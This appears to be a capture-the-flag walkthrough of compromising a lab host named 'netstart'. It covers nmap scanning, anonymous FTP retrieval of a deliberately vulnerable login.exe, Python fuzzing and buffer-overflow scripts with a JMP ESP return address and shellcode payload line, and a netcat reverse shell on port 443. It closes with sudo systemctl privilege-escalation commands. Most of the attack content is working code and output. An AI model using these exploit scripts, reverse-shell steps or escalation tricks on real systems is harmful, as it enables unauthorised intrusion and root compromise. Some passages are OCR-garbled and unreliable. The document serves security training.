

```

> cat target -l python -p
# Nmap 7.95 scan initiated Mon Jun 23 11:52:45 2025 as: /usr/lib/nmap/nmap -
Nmap scan report for 10.0.2.104
Host 1s up (0.00015s latency).

PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--  1 0      0      50992 Nov 16 2020 login.exe
| -rw-r--r--  1 0      0      28613 Nov 16 2020 login_support.dll
| ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to 10.0.2.65
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     At session startup, client count was 3
|     vsFTPD 3.0.3 - secure, fast, stable
|_End of status
2371/tcp  open  worldwire?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLin
, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionR
ns:
|_   Password:
|_   1 service unrecognized despite returning data. If you know the service/versi
SF-Port2371-TCP:V=7.95%I=7%D=6/23Time=685923F3P=x86_64-pc-linux-gnu%(NU
SF:LL,B,"Password:\n\0")%(GenericLines,B,"Password:\n\0")%(GetRequest,B,
SF:"Password:\n\0")%(HTTPOptions,B,"Password:\n\0")%(RTSPRequest,B,"Pass
SF:word:\n\0")%(RPCCheck,B,"Password:\n\0")%(DNSVersionBindReqTCP,B,"Pas

> ftp 10.0.2.104
Connected to 10.0.2.104.
220 (vsFTPD 3.0.3)
Name (10.0.2.104:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -l
229 Entering Extended Passive Mode (|||64598|)
150 Here comes the directory listing.
-rw-r--r--  1 0      0      50992 Nov 16 2020 login.exe
-rw-r--r--  1 0      0      28613 Nov 16 2020 login_support.dll
226 Directory send OK.
ftp> get login.exe
local: login.exe remote: login.exe
229 Entering Extended Passive Mode (|||15036|)
150 Opening BINARY mode data connection for login.exe (50992 bytes).
100% |*****
226 Transfer complete.
50992 bytes received in 00:00 (51.40 MiB/s)
ftp> get login_support.dll
local: login_support.dll remote: login_support.dll
229 Entering Extended Passive Mode (|||63066|)
150 Opening BINARY mode data connection for login_support.dll (28613 bytes).
100% |*****
226 Transfer complete.
28613 bytes received in 00:00 (33.35 MiB/s)
ftp> quit
221 Goodbye.

```

```

> strings login.exe | grep Password -A3 -B3
Received a client connection from %s:%u
Usage: %s [port_number]
If no port number is provided, the default port of %s will be used.
Password:
Mingw runtime failure:
VirtualQuery failed for %d bytes at address %p
Unknown pseudo relocation protocol version %d.

```

```

> python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.0.2.15 - - [23/Jun/2025 14:41:59] "GET / HTTP/1.1" 200 -
10.0.2.15 - - [23/Jun/2025 14:41:59] code 404, message File not found
10.0.2.15 - - [23/Jun/2025 14:41:59] "GET /favicon.ico HTTP/1.1" 404 -
10.0.2.15 - - [23/Jun/2025 14:42:02] "GET /login.exe HTTP/1.1" 200 -
10.0.2.15 - - [23/Jun/2025 14:42:02] "GET /login_support.dll HTTP/1.1" 200 -
10.0.2.15 - - [23/Jun/2025 14:44:00] "GET / HTTP/1.1" 200 -
10.0.2.15 - - [23/Jun/2025 14:44:00] code 404, message File not found
10.0.2.15 - - [23/Jun/2025 14:44:00] "GET /favicon.ico HTTP/1.1" 404 -

```

← → ↻ ⚠ No es seguro | 10.0.2.65:8081

Directory listing for /

- [login.exe](#)
- [login_support.dll](#)
- [ports](#)
- [target](#)

Este equipo > Disco local (C:) > Usuarios > Administrador > Descargas

Nombre	Fecha de modificación	Tipo
▼ hoy (2)		
login_support.dll	23/06/2025 14:42	Ext...
login	23/06/2025 14:41	Aplic...

```
C:\Users\Administrador\Downloads\login.exe
Starting vulnerable software (BOF)
Called external function dll
Made by foxloxCommands

This is vulnerable software!
Do not allow access from untrusted systems or networks!n
Waiting for client connections...

C:\Users\Administrador>netstat -an

Conexiones activas

Proto  Dirección local      Dirección remota      Estado
TCP    0.0.0.0:135           0.0.0.0:0             LISTENING
TCP    0.0.0.0:445           0.0.0.0:0             LISTENING
TCP    0.0.0.0:2371          0.0.0.0:0             LISTENING
```

```
> nc 10.0.2.15 2371
Password:
asd
```

```
C:\Users\Administrador\Downloads\login.exe
Starting vulnerable software (BOF)
Called external function dll
Made by foxloxCommands

This is vulnerable software!
Do not allow access from untrusted systems or networks!n
Waiting for client connections...
Received a client connection from 10.0.2.65:46196
Waiting for client connections...
```

```
GNU nano 8.4 exploit1.py
import socket
import sys
import time

try:
    target_ip = sys.argv[1]
    port = int(sys.argv[2])
except IndexError:
    print("[!] Usage: %s <Target IP> <Port>" % sys.argv[0])
    sys.exit()

length = 100

while True:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip, port))
    s.recv(1024)
    payload = "A" * length
    s.send(payload.encode('utf-8'))
    print("[+] Data sent: %d" % length)
    s.close()
    time.sleep(1)
    length += 100
```


The screenshot shows the Visual Studio Code interface. The 'Debug' menu is open, displaying three options: 'Run' (F9), 'Pause' (F12), and 'Restart' (Ctrl+F2). The status bar at the bottom indicates the application is 'Paused'.

```
> cat exploit4.py
File: exploit4.py
1  import socket
2  import sys
3
4  try:
5      target_ip = sys.argv[1]
6      port = int(sys.argv[2])
7  except IndexError:
8      print("[ - ] Usage: %s <Target IP> <Port>" % sys.argv[0])
9      sys.exit()
10
11  payload = "A"*1702 + "B"*4 + "C"*20
12
13  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
14  s.connect((target_ip, port))
15  s.recv(1024)
16  s.send(payload.encode('utf-8'))
17  s.close()
```

[illegible]

Copy to clipboard	>	Whole line
Appearance	>	Whole table
00000000 ASLR: False, Rebase: False, support.dll ASLR: False, Rebase: False,		Address

Address JMP ESP with Mona Module:
625012B8

```
payload = b"A"*1702 + b"\xb8\x12\x50\x62" + b"\x90"*16 + buf
```

```
> nc -lvnp 443
listening on [any] 443 ...
```

```
> ping -c 1 10.0.2.104
PING 10.0.2.104 (10.0.2.104) 56(84) bytes of data.
64 bytes from 10.0.2.104: icmp_seq=1 ttl=64 time=0.294 ms

--- 10.0.2.104 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.294/0.294/0.294/0.000 ms
> python exploit6.py 10.0.2.104 2371
```

```
> nc -lvnp 443
listening on [any] 443 ...
connect to [10.0.2.65] from (UNKNOWN) [10.0.2.104] 44708
id
uid=1001(fox) gid=1001(fox) groups=1001(fox)
python -c 'import pty;pty.spawn("/bin/bash")'
fox@netstart:/home/fox/.wine/drive_c/users/fox$ |
```

```
fox@netstart:/home/fox/.wine/drive_c/users/fox$ cd /home/fox
cd /home/fox
fox@netstart:/home/fox$ ls
ls
local.txt  startup
fox@netstart:/home/fox$ cat local.txt
cat local.txt
75894c2b3d5c3b78372af63694cdc659
```

```
fox@netstart:/home/fox$ sudo -l
sudo -l
Matching Defaults entries for fox on netstart:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fox may run the following commands on netstart:
    (root) NOPASSWD: /usr/bin/systemctl
```



If the binary has the SUID bit set, it does not drop the elevated privileges and may be able to system, escalate or maintain privileged access as a SUID backdoor. If it is used to run an argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with `SL`.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. An existing SUID binary skips the first command and runs the program using its original path.

```
sudo install -m =xs $(which systemctl) .

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
./systemctl link $TF
./systemctl enable --now $TF
```

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges, access the file system, escalate or maintain privileged access.

```
(a) TF=$(mktemp)
echo /bin/sh >$TF
chmod +x $TF
sudo SYSTEMD_EDITOR=$TF systemctl edit system.slice
```

```
(b) TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
sudo systemctl link $TF
sudo systemctl enable --now $TF
```

(c) This invokes the default pager, which is likely to be `less`. Other functions may apply.

```
sudo systemctl
ls
```